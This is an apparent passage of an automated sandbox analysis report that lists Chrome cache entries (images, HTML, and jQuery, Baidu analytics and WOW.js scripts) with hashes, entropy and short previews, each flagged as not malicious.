Preview:	.PNG........IHDR.............jk......tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:3C03594CCA0811ED93B6EC15C94B6E44" xmpMM:InstanceID="xmp.iid:3C03594BCA0811ED93B6EC15C94B6E44" xmp:CreatorTool="Adobe Photoshop CC 2017 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:FD32041AC20C11EDB6D298ED79279913" stRef:documentID="xmp.did:FD32041BC20C11EDB6D298ED79279913"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>pY.r..@LIDATx..Y.-.u&.V.........n..*..8."%.j...l.!...F[..@.~....h?.C.........e.m..Z..[..;..s9".5D.e[j..If.s

Chrome Cache Entry: 296

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 235 x 95, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	6326
Entropy (8bit):	7.884999088009512
Encrypted:	false
SSDEEP:	96:b7/O11oWW0zTOiOPm9P+uDGcSEZyAYvH58XPIzNjJMQ5cVCR4XDN8OtBWGHMk0Lh:b7O1HROHYIEZyAY+f4UQ5cF8pGHMb
MD5:	D09B8C1A90C7B0218BB12C9DF8CA93E0
SHA1:	E3B4BC2B325498304C198D16B4B9A38FD82092B1
SHA-256:	06F2FF357CABF1705B1CC14565FA9D61BE5A53C8D8DB50E714A338ABB39B6A7B
SHA-512:	C81008022BB0E8DD918EEBEF237B1038CBADB3816D90B6D67F82A357F0B304662FF26FE196F1F2D149D3F350F361390036C30F6AC3A28C914A4C3D3FDAFBC522
Malicious:	false
Reputation:	low
URL:	https://www.strlaser.com/resources/assets/images/p6.png
Preview:	.PNG........IHDR......._......Q0.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:689DE524CA0E11ED8AEEB777A83CA087" xmpMM:InstanceID="xmp.iid:689DE523CA0E11ED8AEEB777A83CA087" xmp:CreatorTool="Adobe Photoshop CC 2017 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:C555C94BC22F11ED9B2D888A80B31E49" stRef:documentID="xmp.did:C555C94CC22F11ED9B2D888A80B31E49"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..9....&IDATx....T.....08.> .&..C...("..a0.qI4.....M".Q..&.B@C@@Q..DQQ....."..6Qv.d...I}.~u.l......}.s.....z...

Chrome Cache Entry: 297

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 235 x 95, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	5269
Entropy (8bit):	7.8691278544506185
Encrypted:	false
SSDEEP:	96:b7ooSE7nZQwyOu8wcQdDKM1JIFyBIUDQM/i45yXW+k36iUjQ4qgPvE7v:bgwwXOM1JHtDQmoXW+kqxQ4jm
MD5:	A864E4046E2868A0740E28CA1E6E2DC6
SHA1:	D918B29AD8BDCF8BCCE20BBFC691365823A96CC8
SHA-256:	6C8178751F857BB6E29E935F841CE9616F75C5BEC66BE6CADE52F79A43ECEB03
SHA-512:	CDF2578093DCC870B8354A633E3B914AA0EA4C44CE48003FCCBCE8713BB22142F9214A919C562B6A3CAD02C448588D9716D17DCC72A10F1E619F0DF066749EB4
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR......._......Q0.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:779951B9CA0E11EDB05EE8B2561D7D69" xmpMM:InstanceID="xmp.iid:779951B8CA0E11EDB05EE8B2561D7D69" xmp:CreatorTool="Adobe Photoshop CC 2017 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:C555C94BC22F11ED9B2D888A80B31E49" stRef:documentID="xmp.did:C555C94CC22F11ED9B2D888A80B31E49"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.0.0....IDATx...xT....$.=$l.j ..... (* h.)...V....\.`........X.i....".].... .DY.s.w...3.EQ39..g&w......\|.{g.

Chrome Cache Entry: 298

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	25828
Entropy (8bit):	5.428733662923783
Encrypted:	false
SSDEEP:	768:/7ky70BN+p3KUchZfMf/Y1T4KfRLpBAXUkvYTDUDT3:sUchJMfaTpfTuXUgb
MD5:	06CD3CCA974E10F62010BAA37EFA0197
SHA1:	58E573DBB63EF65F10BA42062D1CA5541F256BCE
SHA-256:	9F8B3FA6243B2310F71CC673C6764531B68DB27FAEF365C776A0A63ED9B16D3F
SHA-512:	F2F225EDE31944C943D692BC5F99AA84E7C65660259006B5AC2E95CC647ABC7BAE2E345A404A85EE18755530785FE6ACC4BDC5904897FB2A529B8E4A6E8EA81E
Malicious:	false
Reputation:	low
Preview:	var shutime = {..percent: 0,..timers: "",..init: function(e) {...$("body").append('<div class="toast"><i></i><div><b></b><p></p></div></div>');...$('#nav-icon2').click(function() {....$(this).toggleClass('open');....$("header").toggleClass("open");...});....$(window).scroll(function() {....var scrollTop = $(window).scrollTop();....if (scrollTop > 0) {.....$("header").addClass("active")....} else {.....$("header").removeClass("active")....}...});....$(".nav ul li").hover(function() {....if ($(this).hasClass("not")) return;....$(".sub_header,.header").addClass("active");....$(".sub_header ul li").eq($(this).index()).addClass("active").siblings().removeClass(....."active");...}, function() {....$(".sub_header,.header").removeClass("active");...})....$(".sub_header ul li").hover(function() {....$(".sub_header,.header").addClass("active");...}, function() {....$(".sub_header,.header").removeClass("active");....$(".sub_header ul li").removeClass("active");...})...var _lock = false;...$(".men

Chrome Cache Entry: 299

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 740 x 610, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	310914
Entropy (8bit):	7.991294128370743
Encrypted:	true
SSDEEP:	6144:kzDJfQszxj9hqQyRVtrDBsZk8a0mofviDjIswdCe9HR34x:IlV9vqXrsla0mSaDAdj9HRK
MD5:	C5CA869B4A46D8476D1FF8E427797DD1
SHA1:	DE3CF27F1E9E4EC5BC33BE3E6DE2D91BCB4FAA90
SHA-256:	DD30CA2E1C62460A543524CB59591850EA064C46344FE0E2261A9C1F79A87B66
SHA-512:	8DFE0235D78E6F19E3BD3260486FE6A7133071BCC7211C369F9D982AF24EAB8C6A968EAF5E29051E85F28CA324A2E69CBD468451C6F9D36E0FDE2A13C5B7AC44
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......b......M.....pHYs...a...a..?.i....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164360, 2020/02/13-01:07:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmp:CreatorTool="Adobe Photoshop 21.1 (Windows)" xmp:CreateDate="2024-05-10T11:19:20+08:00" xmp:MetadataDate="2024-05-10T11:19:20+08:00" xmp:ModifyDate="2024-05-10T11:19:20+08:00" xmpMM:InstanceID="xmp.iid:b09c566f-b11e-ad4b-b557-e5eccd95d281" xmpMM:DocumentID="adobe:docid:photoshop:f77c3ad3-2574-6f4c-84b4-877f73353885" xmpMM:OriginalDocumentID="xmp.did:90c96699-8701-734f-b850-8ed653af5d8e" photoshop:Color

Chrome Cache Entry: 300

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 300x300, components 3
Category:	downloaded
Size (bytes):	36869
Entropy (8bit):	7.976129516349028
Encrypted:	false
SSDEEP:	768:807oq9ywWF0gEGJar4v6SCTYQySF+K/Dd5V1eBtdHw:8yomywWFxiOjDsdJ5V1iC
MD5:	1347C681A4720B5EFD5AA0277820A793
SHA1:	94EB70C41E63ACDC549BAF99B7183EA5EFD891F1
SHA-256:	61092F7C73D64B42B42F669852036498D564888E1E3AB7E329A6FBD15E6DC385
SHA-512:	B1D421506E4D976839ADEC003BCB65D9034A5DD0F3E429A5F16EFDE6B12A6095C7F730DA3AD5A015A73C37489F228C7DA590968EA011AFD23DC482E401F47A2C
Malicious:	false
Reputation:	low
URL:	https://www.strlaser.com/resources/assets/images/fuwu1.jpg
Preview:	......Exif..II*.................Ducky.......P......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:DCFC3BC3C2E211EDBFB3E2FA6FE1E7C7" xmpMM:InstanceID="xmp.iid:DCFC3BC2C2E211EDBFB3E2FA6FE1E7C7" xmp:CreatorTool="Adobe Photoshop 23.4 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:D2BE3B7ABA8511ED9E18B1F319AD2715" stRef:documentID="xmp.did:D2BE3B7BBA8511ED9E18B1F319AD2715"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d..............................................................................................................................

Chrome Cache Entry: 301

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 225 x 225, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	25189
Entropy (8bit):	7.9805933461176055
Encrypted:	false
SSDEEP:	768:cbMW6YCxbzQXOf6BOQEPs2ujQx1Hwt4gN3qMvH9lw6KViZSkQv:cb4xXQ+f6nEUOx10N6M9lwFu0
MD5:	A42023109686EE5B2324716B950D4E08
SHA1:	CD01D987CC95B9ED3CB9393DF5D0C55F2E6B6E2C
SHA-256:	5059133AB86BB2A4DAA456B867E4B505A17752E54BB599F458943E73E1FF566B
SHA-512:	1D6E23F9164EACD2152C2260121877478611D287309296C1F42DDBC27B6E82E8B6186CD8A811AA64F3B51377F912593F8A9CF453862935C4DEA0B50EDEB7871A
Malicious:	false
Reputation:	low
URL:	https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/04/06/image_1680777712_HMehvAY7.png
Preview:	.PNG........IHDR...............E-....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:DE9C05C4D46811EDB57BA4DD3AC47B25" xmpMM:InstanceID="xmp.iid:DE9C05C3D46811EDB57BA4DD3AC47B25" xmp:CreatorTool="Adobe Photoshop CC 2017 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:BC9AD8BBD46211ED8814B895D167161F" stRef:documentID="xmp.did:BC9AD8BCD46211ED8814B895D167161F"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.....^.IDATx....$.u.v...-.L.f..A..D..EZ.e*$...........^(.!.Eq.).......{...\..d./.^Oc.=.z&.t.d........;.. .5.k.

Chrome Cache Entry: 302

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 750 x 300, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	50794
Entropy (8bit):	7.960311479368734
Encrypted:	false
SSDEEP:	768:J1TyQkmQMWuiSW6f7nNuWniqGq+vx/Ldu83W4qlA7I58LDGc46pAtJZTKFras:J1fQMWH0wWiomRus2l3MDG/6pAlerh
MD5:	63E9BEE28BF323C05E1CA9D9ADDF836E
SHA1:	45A4407E4DEB2C2BF142E2105BBF7D78380A3B38
SHA-256:	409BAB2B1CC071F3CA4E212AAF1E6A21482D372852B3D8EC44161343CC70EE3E
SHA-512:	905F35AA4CE2BDC9E7432E5DE082C05766894C7F988B434EFB139772CBBA2B7B4560A1628A3C508F84DB6C98FE13B3AD6C7F7C5274A9447F4C0508ACC78BBB09
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......,.......6.....pHYs.................iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.2-c000 79.566ebc5b4, 2022/05/09-08:25:55 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmpMM:DocumentID="xmp.did:D66AD735C9F311EDBDEBD2F18BBC41FE" xmpMM:InstanceID="xmp.iid:9fa5617e-3edc-4a30-9d23-9ebe093df3bd" xmpMM:OriginalDocumentID="xmp.did:D66AD735C9F311EDBDEBD2F18BBC41FE" xmp:CreatorTool="Adobe Photoshop CC 2017 (Windows)" xmp:CreateDate="2023-06-16T14:14:10+08:00" xmp:ModifyDate="2023-06-16T14:14:44+08:00" xmp:MetadataDat

Chrome Cache Entry: 303

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 (with BOM) text, with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	3588
Entropy (8bit):	5.14117910774394
Encrypted:	false
SSDEEP:	48:MmMq1KE2zPGbW47UxweKP/Ln4DxIAyQv+ZAH/Bb:eIhZbWEUxT4Ln4lI+++H/Bb
MD5:	1EF589C295CE53363EFEC8C6735FE37B
SHA1:	8DCCAECA3655771722E835EAF4555059698956A8
SHA-256:	AFE6E4C45F67E64F88DFE337802209C7397038A77F1C0FADBCC2E7C53FF33CBE
SHA-512:	03FC8A4CEED328ED406B2F97AFB03031E88B7233C897B355E95C130136C9EA27FA9F423F943A568B0DF70E5F4381AE96087BB8BA21765627DB8595D7353264A8
Malicious:	false
Reputation:	low
URL:	https://www.zhspay.com/zhuye/index.html
Preview:	....<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">..<html xmlns="http://www.w3.org/1999/xhtml">..<head>..<meta content="text/html; charset=UTF-8" http-equiv="Content-Type">..<meta name="viewport" content="width=device-width,user-scalable=no,initial-scale=1.0,maximum-scale=1.0,minimum-scale=1.0">....<script>..var is_mobi = navigator.userAgent.toLowerCase().match(/(ipad\|iphone\|android\|coolpad\|mmp\|smartphone\|midp\|wap\|xoom\|symbian\|j2me\|blackberry\|wince)/i) != null; ..if (is_mobi) { .. window.location.href = "https://www.zhspay.com/zhuye/m/index.html"; ..} ..</script>....<title></title>......<link media="all" href="index.css" type="text/css" rel="stylesheet">..<link media="all" href="site.css" type="text/css" rel="stylesheet">..<base href="https://www.zhspay.com/zhuye/ ">..</head>..<body>..<div class="con">...<div class="container">...<div align="center">.. .<div class="top">.. .... . <a t

Chrome Cache Entry: 304

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1920x1080, components 3
Category:	dropped
Size (bytes):	709249
Entropy (8bit):	7.98273369964694
Encrypted:	false
SSDEEP:	12288:n5OlzCg0u+4glvizNIuHwRvD0OhCS157WFwXw/LX5CKpW3hh4i54UeCIpRNB:5OlzCgRFglI10AOhCS1LXyLf0NWtR7
MD5:	02A4DB6AAFD2F0118815469D0A340F47
SHA1:	A89ECE9E4481087814F370D24AE5A17F456AC50A
SHA-256:	7834BE0076B4DFBC51B6F7DA2744D5B464BA9E6F6426567429E4137E95A10463
SHA-512:	148B889E967BD1FE3BF26377018387AC78FEE715469D8B4CCAF738457FA4978785C072F7E0CA26BEB4CE916D37597A68B5A606F5DD283258D1606B235A654397
Malicious:	false
Reputation:	low
Preview:	......Exif..II*.................Ducky.......<.....vhttp://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:afa8a9e6-9716-4248-82b7-b3c757f3a879" xmpMM:DocumentID="xmp.did:DA17669ACA0611EDA607E300E64C0DCF" xmpMM:InstanceID="xmp.iid:DA176699CA0611EDA607E300E64C0DCF" xmp:CreatorTool="Adobe Photoshop 23.4 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:D331E592CA0611EDA2DEC6E75D060AAC" stRef:documentID="xmp.did:D331E593CA0611EDA2DEC6E75D060AAC"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d........C.............................................

Chrome Cache Entry: 305

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 300x300, components 3
Category:	downloaded
Size (bytes):	105110
Entropy (8bit):	7.982701962292156
Encrypted:	false
SSDEEP:	3072:actpCOh6lsY+Dp42S+nmJwLioqwo/D06j02D:acD7AYxssno/D0B+
MD5:	9471D9F426CF275B304AAD329B46C5D1
SHA1:	77364F8E22271D4F8F0ABCCF08BB8AFDF6D88FA5
SHA-256:	B5B95B22B9C7CEEF710FC1CB845465F7F11518738065BBED721A05381604C447
SHA-512:	8C14319D15372122EC9FC77FB8031211F28ABD064E8381659F7929D3721888C2A2B4D5E50A7C800A4B16C5B2361EE01D6030F2D74EAAEDDF42D21E6184986E08
Malicious:	false
Reputation:	low
URL:	https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/03/29/image_1680077868_K8782u19.jpg
Preview:	......Exif..II*.................Ducky.......P......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:433330AEC2E311EDB716D9CF0D20C5DE" xmpMM:InstanceID="xmp.iid:433330ADC2E311EDB716D9CF0D20C5DE" xmp:CreatorTool="Adobe Photoshop 23.4 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:7B34B7FDBA6111ED9E18B1F319AD2715" stRef:documentID="xmp.did:7B34B7FEBA6111ED9E18B1F319AD2715"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d........C....................................................................C................................................

Chrome Cache Entry: 306

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 120 x 120, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13803
Entropy (8bit):	7.963598339529239
Encrypted:	false
SSDEEP:	384:286pPuqcVETAidAOs7AvxgGAmIr05NzzN/5L:CPxBAIs7Yeg5fxL
MD5:	0808A525D216F85706B063609AEF611E
SHA1:	0D24CD99A3E083C2C00EF550505E4E8C22813C88
SHA-256:	EFB6848B4EF1760D0034D163DC2BC2C6E3F9631BFF316816BBE985990E9B17B6
SHA-512:	A23178D17C988599936424BCF155D4D48265D6E2778F58E9E8976AB6FC97B998BDB203607284363E320606CC523FCF429182014A23D580A27CFB36A42D12B44B
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...x...x.....9d6.....tEXtSoftware.Adobe ImageReadyq.e<...niTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:ED2F3545C21011EDA9AABE74779D8143" xmpMM:DocumentID="xmp.did:090234F4FED311ED8D41EDDF476EC1B0" xmpMM:InstanceID="xmp.iid:090234F3FED311ED8D41EDDF476EC1B0" xmp:CreatorTool="Adobe Photoshop CC 2017 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:752394d4-9b8e-644f-b99b-3f93ac4591b4" stRef:documentID="xmp.did:ED2F3545C21011EDA9AABE74779D8143"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>b..p..2.IDATx..}k.]..\k....}..o^6..l.$A.<.

Chrome Cache Entry: 307

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1920x1080, components 3
Category:	downloaded
Size (bytes):	75671
Entropy (8bit):	7.667676186719648
Encrypted:	false
SSDEEP:	1536:CoA/+SbTDLDIJ7NvvcjjDFrQV3hJ+ZBG1lA8y4/SOkZ8PP8Jo/thSY:M2wLkN3eDFrQVxJ2E1lA8yn1Mt1
MD5:	1F531FC08C037BF429F9ECC4D199279E
SHA1:	F0CD33DB096074A9EC70E5B2E05332194228A8F3
SHA-256:	126CB994293ABBA66B6C4D87FA2160F49773B786EA58481FAB676E875DD4AC0E
SHA-512:	67447235C60A06A999CF9E6CFE915ECA0F0CE12A9A2A638ABF28903C4814496BA0D0E8D6F9B7DD670BD6AFD67CB4F2D14DF3273204D3E530B8275583336F0E38
Malicious:	false
Reputation:	low
URL:	https://www.strlaser.com/resources/assets/images/bg1.jpg
Preview:	......Exif..II*.................Ducky.......<.....vhttp://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:afa8a9e6-9716-4248-82b7-b3c757f3a879" xmpMM:DocumentID="xmp.did:522D01B5CA0711EDB4C9FC1FA8690CBB" xmpMM:InstanceID="xmp.iid:522D01B4CA0711EDB4C9FC1FA8690CBB" xmp:CreatorTool="Adobe Photoshop 23.4 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4C8EA9FDCA0711EDABACA9E230A027E9" stRef:documentID="xmp.did:4C8EA9FECA0711EDABACA9E230A027E9"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d......................................................

Chrome Cache Entry: 308

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (308), with no line terminators
Category:	downloaded
Size (bytes):	308
Entropy (8bit):	5.417482737389702
Encrypted:	false
SSDEEP:	6:qQQfwvP/kGTMKxvasmzGIlCP70Jfium3cqOd1zlCiKzrJXqOXMMntwsvfn:cfwvP8GAksCP70Qum3+15CiKn91Ltbfn
MD5:	F9FC52AB67F035B8BAF5D558714CC94D
SHA1:	37062A6FB1EF410D496137D44275738AE743C747
SHA-256:	C31F2003F1C93AC1E34B09F376D97A65DA6E110BF451CF1E0E50A7946C5E7212
SHA-512:	EBB0415852FBB5B964094E2E55A28B90F701DFF1977C8B98C6F24D65D09067DC0C417D01492CA28A4BE6747816D7C0BFAC87B73A33725AEE047A5D2F7AB83182
Malicious:	false
Reputation:	low
URL:	https://zz.bdstatic.com/linksubmit/push.js
Preview:	!function(){var e=/([http\|https]:\/\/[a-zA-Z0-9\_\.]+\.baidu\.com)/gi,r=window.location.href,t=document.referrer;if(!e.test(r)){var o="https://sp0.baidu.com/9_Q4simg2RQJ8t7jm9iCKT-xh_/s.gif";t?(o+="?r="+encodeURIComponent(document.referrer),r&&(o+="&l="+r)):r&&(o+="?l="+r);var i=new Image;i.src=o}}(window);

Chrome Cache Entry: 309

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (7027)
Category:	dropped
Size (bytes):	7057
Entropy (8bit):	5.1290115921534705
Encrypted:	false
SSDEEP:	96:2PV6GqKyR6TYATHF/suCg5OVEE1nce1gJ1IHImBaokbl:2PVfSWFsuCsOVEENceiJmHILoe
MD5:	4B253CABAAFA86647183695C4C4365E7
SHA1:	D653B2ED6A5D94F718B4DDCBEF28D57BD8668CEF
SHA-256:	027931E5177ABC3F452DD92FFEA8867A18381BCCE1779BFE3843D4D7A582F97A
SHA-512:	029B932197A229594B96A294B0A4E7E660DDDA4C870DDBF1D923AA6703467919720BCC3EF83EA2040925A2154970021ACE58B1FB453232B642A1560C129F2501
Malicious:	false
Reputation:	low
Preview:	/! WOW - v1.0.1 - 2014-09-03. Copyright (c) 2014 Matthieu Aussaguel; Licensed MIT */(function(){var a,b,c,d,e,f=function(a,b){return function(){return a.apply(b,arguments)}},g=[].indexOf\|\|function(a){for(var b=0,c=this.length;c>b;b++)if(b in this&&this[b]===a)return b;return-1};b=function(){function a(){}return a.prototype.extend=function(a,b){var c,d;for(c in b)d=b[c],null==a[c]&&(a[c]=d);return a},a.prototype.isMobile=function(a){return/Android\|webOS\|iPhone\|iPad\|iPod\|BlackBerry\|IEMobile\|Opera Mini/i.test(a)},a.prototype.addEvent=function(a,b,c){return null!=a.addEventListener?a.addEventListener(b,c,!1):null!=a.attachEvent?a.attachEvent("on"+b,c):a[b]=c},a.prototype.removeEvent=function(a,b,c){return null!=a.removeEventListener?a.removeEventListener(b,c,!1):null!=a.detachEvent?a.detachEvent("on"+b,c):delete a[b]},a.prototype.innerHeight=function(){return"innerHeight"in 